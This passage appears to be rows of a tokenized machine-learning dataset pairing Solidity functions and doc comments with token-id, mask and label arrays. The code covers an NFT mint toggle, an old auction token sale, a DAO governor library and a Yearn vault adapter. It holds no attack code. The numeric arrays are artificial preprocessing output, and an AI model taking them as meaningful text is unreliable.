4331, 8643, 41, 2539, 4449, 40, 10525, 2226, 10689, 4848, 70, 24, 13, 747, 261, 8443, 422, 374, 17432, 9988, 5540, 2226, 9222, 19818, 23, 40, 2 ]
./full_match/5/0xaA261fC9574174090A290fF74a50C5cFA70A0E68/sources/contracts/deneme.sol
@notice Allows the owner to flip the public mint state
function togglePublicMintActive() external onlyOwner { isPublicMintActive = !isPublicMintActive; }
1,865,358
[ 1, 19132, 326, 3410, 358, 9668, 326, 1071, 312, 474, 919, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10486, 4782, 49, 474, 3896, 1435, 3903, 1338, 5541, 288, 203, 3639, 19620, 49, 474, 3896, 273, 401, 291, 4782, 49, 474, 3896, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; import './SafeMath.sol'; import './Ownable.sol'; import './Pausable.sol'; import './MultiSigWallet.sol'; import './UnitToken.sol'; /** * @title AuctionSaleDetached * @dev AuctionSaleDetached is a base contract for managing a token sale based on the result of a previous auction. * Investors can make token purchases based on the result of an auction and AuctionSale will assign * them tokens based on said previous auction. * Funds collected are forwarded to a wallet as they arrive. * * Based on Crowdsale.sol (OpenZeppelin) */ contract AuctionSaleDetached is Ownable, Pausable { using SafeMath for uint256; // The unit token being sold UnitToken public token; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // amounts to be paid from bidders based on finished auction mapping (address => uint256) private payFromAuctionAmounts; // amounts of tokens to generate for bidders based on finished auction mapping (address => uint256) private tokensMintAuctionAmounts; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * Initialise an AuctionSaleDetached with a wallet * @param _wallet address of the wallet */ function AuctionSaleDetached(address _wallet) public { require(_wallet != address(0)); token = createTokenContract(_wallet); wallet = _wallet; } /** * @dev Creates the token to be sold. * @param _wallet address of the wallet */ function createTokenContract(address _wallet) internal returns (UnitToken) { // example values // _exercisePrice = 10 // _callPrice = 1 // _warrantsPerToken = 4 // _expireTime = 1546300800 (1/1/2019) return new UnitToken(_wallet, 10, 1, 4, 1546300800); } // fallback function can be used to buy tokens function () public payable { buyTokens(msg.sender); } /** * @dev low level token purchase function * @param beneficiary address of the beneficiary */ function buyTokens(address beneficiary) public payable whenNotPaused { require(beneficiary != address(0)); require(validPurchase(beneficiary)); uint256 weiAmount = msg.value; // token amount to be created uint256 tokens = tokensMintAuctionAmounts[beneficiary]; // mint tokens token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); // update state weiRaised = weiRaised.add(weiAmount); // remove minted tokens tokensMintAuctionAmounts[beneficiary] -= tokens; forwardFunds(); // remove payed amount payFromAuctionAmounts[beneficiary] -= weiAmount; } /** * @dev Send ether to the fund collection wallet */ function forwardFunds() internal { wallet.transfer(msg.value); } /** * @dev check if a purchase of tokens is valid * @return true if the transaction can buy tokens */ function validPurchase(address beneficiary) internal constant returns (bool) { bool nonZeroPurchase = msg.value != 0; bool correctAmountWillBePaid = payFromAuctionAmounts[beneficiary] == msg.value; bool bidderWillBeMintedTokens = tokensMintAuctionAmounts[beneficiary] > 0; return nonZeroPurchase && correctAmountWillBePaid && bidderWillBeMintedTokens; } /** * @dev Owner of the smart contract must set the amounts that each bidder must pay based on the result of the auction * @param bidders Array holding the addresses of bidders * @param amounts Array holding the amounts that each bidder must pay */ function payableFromAuction (address[] bidders, uint256[] amounts) public onlyOwner { require(bidders.length == amounts.length); for (uint256 i = 0; i < bidders.length; i++) { payFromAuctionAmounts[bidders[i]] = amounts[i]; } } /** * @dev Owner of the smart contract must set the allowable tokens that each bidder can mint based on the result of the auction * @param bidders Array holding the addresses of bidders * @param amounts Array holding the amounts that each bidder is allowed to mint */ function tokensAllowableMint (address[] bidders, uint256[] amounts) public onlyOwner { require(bidders.length == amounts.length); for (uint256 i = 0; i < bidders.length; i++) { tokensMintAuctionAmounts[bidders[i]] = amounts[i]; } } }
* @dev Owner of the smart contract must set the amounts that each bidder must pay based on the result of the auction @param bidders Array holding the addresses of bidders @param amounts Array holding the amounts that each bidder must pay/
function payableFromAuction (address[] bidders, uint256[] amounts) public onlyOwner { require(bidders.length == amounts.length); for (uint256 i = 0; i < bidders.length; i++) { payFromAuctionAmounts[bidders[i]] = amounts[i]; } }
15,798,761
[ 1, 5541, 434, 326, 13706, 6835, 1297, 444, 326, 30980, 716, 1517, 9949, 765, 1297, 8843, 2511, 603, 326, 563, 434, 326, 279, 4062, 225, 324, 1873, 414, 1510, 19918, 326, 6138, 434, 324, 1873, 414, 225, 30980, 1510, 19918, 326, 30980, 716, 1517, 9949, 765, 1297, 8843, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 8843, 429, 1265, 37, 4062, 261, 2867, 8526, 324, 1873, 414, 16, 2254, 5034, 8526, 30980, 13, 1071, 1338, 5541, 288, 203, 202, 6528, 12, 70, 1873, 414, 18, 2469, 422, 30980, 18, 2469, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 324, 1873, 414, 18, 2469, 31, 277, 27245, 288, 203, 5411, 8843, 1265, 37, 4062, 6275, 87, 63, 70, 1873, 414, 63, 77, 13563, 273, 30980, 63, 77, 15533, 203, 3639, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; // Libraries import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Timers.sol"; import {LibERC721} from "./LibERC721.sol"; // Contracts import "@openzeppelin/contracts/governance/TimelockController.sol"; library LibGovernor { using SafeCast for uint256; using Timers for Timers.BlockNumber; enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } enum VoteType { Against, For, Abstain } bytes32 internal constant GOVERNOR_STORAGE_POSITION = keccak256("nffeels.contracts.governor.storage"); bytes32 internal constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)"); uint256 internal constant QUORUM_DENOMINATOR = 100; struct ProposalCore { Timers.BlockNumber voteStart; Timers.BlockNumber voteEnd; bool executed; bool canceled; } struct ProposalVote { uint256 againstVotes; uint256 forVotes; uint256 abstainVotes; mapping(address => bool) hasVoted; } struct GovernorStorage { bool init; string name; mapping(uint256 => ProposalCore) proposals; mapping(uint256 => ProposalVote) proposalVotes; TimelockController timelock; mapping(uint256 => bytes32) timelockIds; uint256 quorumNumerator; } /** * @dev Emitted when a proposal is created. */ event ProposalCreated( uint256 proposalId, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev Emitted when a proposal is canceled. */ event ProposalCanceled(uint256 proposalId); /** * @dev Emitted when a proposal is executed. */ event ProposalExecuted(uint256 proposalId); /** * @dev Emitted when a vote is cast. * * Note: `support` values should be seen as buckets. There interpretation depends on the voting module used. */ event VoteCast( address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason ); /** * @dev Emitted when the timelock controller used for proposal execution is modified. */ event TimelockChange(address oldTimelock, address newTimelock); /** * @dev Emitted when the timelock controller used to queue a proposal to the timelock. */ event ProposalQueued(uint256 proposalId, uint256 eta); /** * @dev Emitted when quorumNumerator is updated from `oldQuoruNumerator` to `newQuorumNumerator`. */ event QuorumNumeratorUpdated( uint256 oldQuoruNumerator, uint256 newQuorumNumerator ); function governorStorage() internal pure returns (GovernorStorage storage gs) { bytes32 position = GOVERNOR_STORAGE_POSITION; assembly { gs.slot := position } } /** * @dev Minimum number of cast voted required for a proposal to be successful. * * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}). */ function quorum(uint256 blockNumber) internal view returns (uint256) { return (LibERC721.getPastTotalSupply(blockNumber) * governorStorage().quorumNumerator) / QUORUM_DENOMINATOR; } /** * @dev Voting power of an `account` at a specific `blockNumber`. * * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or * multiple), {ERC20Votes} tokens. */ function getVotes(address account, uint256 blockNumber) internal view returns (uint256) { return LibERC721.getPastVotes(account, blockNumber); } /** * @dev Hashing function used to (re)build the proposal id from the proposal details.. * * The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array * and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id * can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in * advance, before the proposal is submitted. * * Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the * same proposal (with same operation and same description) will have the same id if submitted on multiple governors * accross multiple networks. This also means that in order to execute the same operation twice (on the same * governor) the proposer will have to change the description in order to avoid proposal id conflicts. */ function hashProposal( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal pure returns (uint256) { return uint256( keccak256( abi.encode(targets, values, calldatas, descriptionHash) ) ); } /** * @dev Current state of a proposal, following Compound's convention */ function state(uint256 proposalId) internal view returns (ProposalState) { ProposalCore memory proposal = governorStorage().proposals[proposalId]; ProposalState status; if (proposal.executed) { status = ProposalState.Executed; } else if (proposal.canceled) { status = ProposalState.Canceled; } else if (proposal.voteStart.isPending()) { status = ProposalState.Pending; } else if (proposal.voteEnd.isPending()) { status = ProposalState.Active; } else if (proposal.voteEnd.isExpired()) { status = quorumReached(proposalId) && voteSucceeded(proposalId) ? ProposalState.Succeeded : ProposalState.Defeated; } else { revert("Governor: unknown proposal id"); } if (status != ProposalState.Succeeded) { return status; } // Core tracks execution, so we just have to check if successful proposal have been queued. bytes32 queueid = governorStorage().timelockIds[proposalId]; if (queueid == bytes32(0)) { return status; } else if (governorStorage().timelock.isOperationDone(queueid)) { return ProposalState.Executed; } else { return ProposalState.Queued; } } /** * @dev block number used to retrieve user's votes and quorum. */ function proposalSnapshot(uint256 proposalId) internal view returns (uint256) { return governorStorage().proposals[proposalId].voteStart.getDeadline(); } /** * @dev Amount of votes already cast passes the threshold limit. */ function quorumReached(uint256 proposalId) internal view returns (bool) { ProposalVote storage proposalvote = governorStorage().proposalVotes[ proposalId ]; return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes; } /** * @dev Is the proposal successful or not. In this module, the forVotes must be scritly over the againstVotes. */ function voteSucceeded(uint256 proposalId) internal view returns (bool) { ProposalVote storage proposalvote = governorStorage().proposalVotes[ proposalId ]; return proposalvote.forVotes > proposalvote.againstVotes; } /** * @dev Register a vote with a given support and voting weight. In this module, the support follows the `VoteType` enum (from Governor Bravo). * * Note: Support is generic and can represent various things depending on the voting system used. */ function countVote( uint256 proposalId, address account, uint8 support, uint256 weight ) internal { ProposalVote storage proposalvote = governorStorage().proposalVotes[ proposalId ]; require( !proposalvote.hasVoted[account], "GovernorVotingSimple: vote already cast" ); proposalvote.hasVoted[account] = true; if (support == uint8(VoteType.Against)) { proposalvote.againstVotes += weight; } else if (support == uint8(VoteType.For)) { proposalvote.forVotes += weight; } else if (support == uint8(VoteType.Abstain)) { proposalvote.abstainVotes += weight; } else { revert("GovernorVotingSimple: invalid value for enum VoteType"); } } /** * @dev Internal execution mechanism. Can be overriden to implement different execution mechanism */ function execute( uint256, /* proposalId */ address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal { governorStorage().timelock.executeBatch{value: msg.value}( targets, values, calldatas, 0, descriptionHash ); // string memory errorMessage = "Governor: call reverted without message"; // for (uint256 i = 0; i < targets.length; ++i) { // (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]); // Address.verifyCallResult(success, returndata, errorMessage); // } } /** * @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as * canceled to allow distinguishing it from executed proposals. * * Emits a {ProposalCanceled} event. */ function cancel( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal returns (uint256) { uint256 proposalId = hashProposal( targets, values, calldatas, descriptionHash ); ProposalState status = state(proposalId); require( status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed, "Governor: proposal not active" ); governorStorage().proposals[proposalId].canceled = true; emit ProposalCanceled(proposalId); if (governorStorage().timelockIds[proposalId] != 0) { governorStorage().timelock.cancel( governorStorage().timelockIds[proposalId] ); delete governorStorage().timelockIds[proposalId]; } return proposalId; } /** * @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve * voting weight using {getVotes} and call the {_countVote} internal function. * * Emits a {VoteCast} event. */ function castVote( uint256 proposalId, address account, uint8 support, string memory reason ) internal returns (uint256) { ProposalCore storage proposal = governorStorage().proposals[proposalId]; require( state(proposalId) == ProposalState.Active, "Governor: vote not currently active" ); uint256 weight = getVotes(account, proposal.voteStart.getDeadline()); countVote(proposalId, account, support, weight); emit VoteCast(account, proposalId, support, weight, reason); return weight; } /* GovernorTimelockControl */ /** * @dev Function to queue a proposal to the timelock. */ function queue( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal returns (uint256) { uint256 proposalId = hashProposal( targets, values, calldatas, descriptionHash ); require( state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful" ); uint256 delay = governorStorage().timelock.getMinDelay(); governorStorage().timelockIds[proposalId] = governorStorage() .timelock .hashOperationBatch(targets, values, calldatas, 0, descriptionHash); governorStorage().timelock.scheduleBatch( targets, values, calldatas, 0, descriptionHash, delay ); emit ProposalQueued(proposalId, block.timestamp + delay); return proposalId; } /** * @dev Internal endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates * must be proposed, scheduled and executed using the {Governor} workflow. */ function updateTimelock(TimelockController newTimelock) internal { emit TimelockChange( address(governorStorage().timelock), address(newTimelock) ); governorStorage().timelock = newTimelock; } /** * @dev Address through which the governor executes action. Will be overloaded by module that execute actions * through another contract such as a timelock. */ function executor() internal view returns (address) { return address(governorStorage().timelock); } /* GovernorVotesQuorumFraction */ function updateQuorumNumerator(uint256 newQuorumNumerator) internal { GovernorStorage storage gs = governorStorage(); require( newQuorumNumerator <= QUORUM_DENOMINATOR, "GovernorVotesQuorumFraction: quorumNumerator over QUORUM_DENOMINATOR" ); uint256 oldQuorumNumerator = gs.quorumNumerator; gs.quorumNumerator = newQuorumNumerator; emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator); } }
* @dev Function to queue a proposal to the timelock./
function queue( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal returns (uint256) { uint256 proposalId = hashProposal( targets, values, calldatas, descriptionHash ); require( state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful" ); uint256 delay = governorStorage().timelock.getMinDelay(); governorStorage().timelockIds[proposalId] = governorStorage() .timelock .hashOperationBatch(targets, values, calldatas, 0, descriptionHash); governorStorage().timelock.scheduleBatch( targets, values, calldatas, 0, descriptionHash, delay ); emit ProposalQueued(proposalId, block.timestamp + delay); return proposalId; }
12,876,543
[ 1, 2083, 358, 2389, 279, 14708, 358, 326, 1658, 292, 975, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2389, 12, 203, 3639, 1758, 8526, 3778, 5774, 16, 203, 3639, 2254, 5034, 8526, 3778, 924, 16, 203, 3639, 1731, 8526, 3778, 745, 13178, 16, 203, 3639, 1731, 1578, 2477, 2310, 203, 565, 262, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 14708, 548, 273, 1651, 14592, 12, 203, 5411, 5774, 16, 203, 5411, 924, 16, 203, 5411, 745, 13178, 16, 203, 5411, 2477, 2310, 203, 3639, 11272, 203, 203, 3639, 2583, 12, 203, 5411, 919, 12, 685, 8016, 548, 13, 422, 19945, 1119, 18, 30500, 16, 203, 5411, 315, 43, 1643, 29561, 30, 14708, 486, 6873, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 4624, 273, 314, 1643, 29561, 3245, 7675, 8584, 292, 975, 18, 588, 2930, 6763, 5621, 203, 3639, 314, 1643, 29561, 3245, 7675, 8584, 292, 975, 2673, 63, 685, 8016, 548, 65, 273, 314, 1643, 29561, 3245, 1435, 203, 5411, 263, 8584, 292, 975, 203, 5411, 263, 2816, 2988, 4497, 12, 11358, 16, 924, 16, 745, 13178, 16, 374, 16, 2477, 2310, 1769, 203, 3639, 314, 1643, 29561, 3245, 7675, 8584, 292, 975, 18, 10676, 4497, 12, 203, 5411, 5774, 16, 203, 5411, 924, 16, 203, 5411, 745, 13178, 16, 203, 5411, 374, 16, 203, 5411, 2477, 2310, 16, 203, 5411, 4624, 203, 3639, 11272, 203, 203, 3639, 3626, 19945, 21039, 12, 685, 8016, 548, 16, 1203, 18, 5508, 397, 4624, 1769, 203, 203, 3639, 327, 14708, 548, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.11; import {IllegalState} from "../../base/Errors.sol"; import "../../interfaces/ITokenAdapter.sol"; import "../../interfaces/external/yearn/IYearnVaultV2.sol"; import "../../libraries/TokenUtils.sol"; /// @title YearnTokenAdapter /// @author Alchemix Finance contract YearnTokenAdapter is ITokenAdapter { uint256 private constant MAXIMUM_SLIPPAGE = 10000; string public constant override version = "2.1.0"; address public immutable override token; address public immutable override underlyingToken; constructor(address _token, address _underlyingToken) { token = _token; underlyingToken = _underlyingToken; } /// @inheritdoc ITokenAdapter function price() external view override returns (uint256) { return IYearnVaultV2(token).pricePerShare(); } /// @inheritdoc ITokenAdapter function wrap(uint256 amount, address recipient) external override returns (uint256) { TokenUtils.safeTransferFrom(underlyingToken, msg.sender, address(this), amount); TokenUtils.safeApprove(underlyingToken, token, amount); return IYearnVaultV2(token).deposit(amount, recipient); } /// @inheritdoc ITokenAdapter function unwrap(uint256 amount, address recipient) external override returns (uint256) { TokenUtils.safeTransferFrom(token, msg.sender, address(this), amount); uint256 balanceBefore = TokenUtils.safeBalanceOf(token, address(this)); uint256 amountWithdrawn = IYearnVaultV2(token).withdraw(amount, recipient, MAXIMUM_SLIPPAGE); uint256 balanceAfter = TokenUtils.safeBalanceOf(token, address(this)); // If the Yearn vault did not burn all of the shares then revert. This is critical in mathematical operations // performed by the system because the system always expects that all of the tokens were unwrapped. In Yearn, // this sometimes does not happen in cases where strategies cannot withdraw all of the requested tokens (an // example strategy where this can occur is with Compound and AAVE where funds may not be accessible because // they were lent out). if (balanceBefore - balanceAfter != amount) { revert IllegalState(); } return amountWithdrawn; } } pragma solidity ^0.8.11; /// @notice An error used to indicate that an action could not be completed because either the `msg.sender` or /// `msg.origin` is not authorized. error Unauthorized(); /// @notice An error used to indicate that an action could not be completed because the contract either already existed /// or entered an illegal condition which is not recoverable from. error IllegalState(); /// @notice An error used to indicate that an action could not be completed because of an illegal argument was passed /// to the function. error IllegalArgument(); pragma solidity >=0.5.0; /// @title ITokenAdapter /// @author Alchemix Finance interface ITokenAdapter { /// @notice Gets the current version. /// /// @return The version. function version() external view returns (string memory); /// @notice Gets the address of the yield token that this adapter supports. /// /// @return The address of the yield token. function token() external view returns (address); /// @notice Gets the address of the underlying token that the yield token wraps. /// /// @return The address of the underlying token. function underlyingToken() external view returns (address); /// @notice Gets the number of underlying tokens that a single whole yield token is redeemable for. /// /// @return The price. function price() external view returns (uint256); /// @notice Wraps `amount` underlying tokens into the yield token. /// /// @param amount The amount of the underlying token to wrap. /// @param recipient The address which will receive the yield tokens. /// /// @return amountYieldTokens The amount of yield tokens minted to `recipient`. function wrap(uint256 amount, address recipient) external returns (uint256 amountYieldTokens); /// @notice Unwraps `amount` yield tokens into the underlying token. /// /// @param amount The amount of yield-tokens to redeem. /// @param recipient The recipient of the resulting underlying-tokens. /// /// @return amountUnderlyingTokens The amount of underlying tokens unwrapped to `recipient`. function unwrap(uint256 amount, address recipient) external returns (uint256 amountUnderlyingTokens); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "../../IERC20Minimal.sol"; import "../../IERC20Metadata.sol"; /// @title IYearnVaultV2 /// @author Yearn Finance interface IYearnVaultV2 is IERC20Minimal, IERC20Metadata { struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; bool enforceChangeLimit; uint256 profitLimitRatio; uint256 lossLimitRatio; address customCheck; } function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function withdraw( uint256 maxShares, address recipient, uint256 maxLoss ) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /// @notice View how much the Vault would increase this Strategy's borrow limit, based on its present performance /// (since its last report). Can be used to determine expectedReturn in your Strategy. function creditAvailable() external view returns (uint256); /// @notice View how much the Vault would like to pull back from the Strategy, based on its present performance /// (since its last report). Can be used to determine expectedReturn in your Strategy. function debtOutstanding() external view returns (uint256); /// @notice View how much the Vault expect this Strategy to return at the current block, based on its present /// performance (since its last report). Can be used to determine expectedReturn in your Strategy. function expectedReturn() external view returns (uint256); /// @notice This is the main contact point where the Strategy interacts with the Vault. It is critical that this call /// is handled as intended by the Strategy. Therefore, this function will be called by BaseStrategy to make /// sure the integration is correct. function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /// @notice This function should only be used in the scenario where the Strategy is being retired but no migration of /// the positions are possible, or in the extreme scenario that the Strategy needs to be put into /// "Emergency Exit" mode in order for it to exit as quickly as possible. The latter scenario could be for any /// reason that is considered "critical" that the Strategy exits its position as fast as possible, such as a /// sudden change in market conditions leading to losses, or an imminent failure in an external dependency. function revokeStrategy() external; /// @notice View the governance address of the Vault to assert privileged functions can only be called by governance. /// The Strategy serves the Vault, so it is subject to governance defined by the Vault. function governance() external view returns (address); /// @notice View the management address of the Vault to assert privileged functions can only be called by management. /// The Strategy serves the Vault, so it is subject to management defined by the Vault. 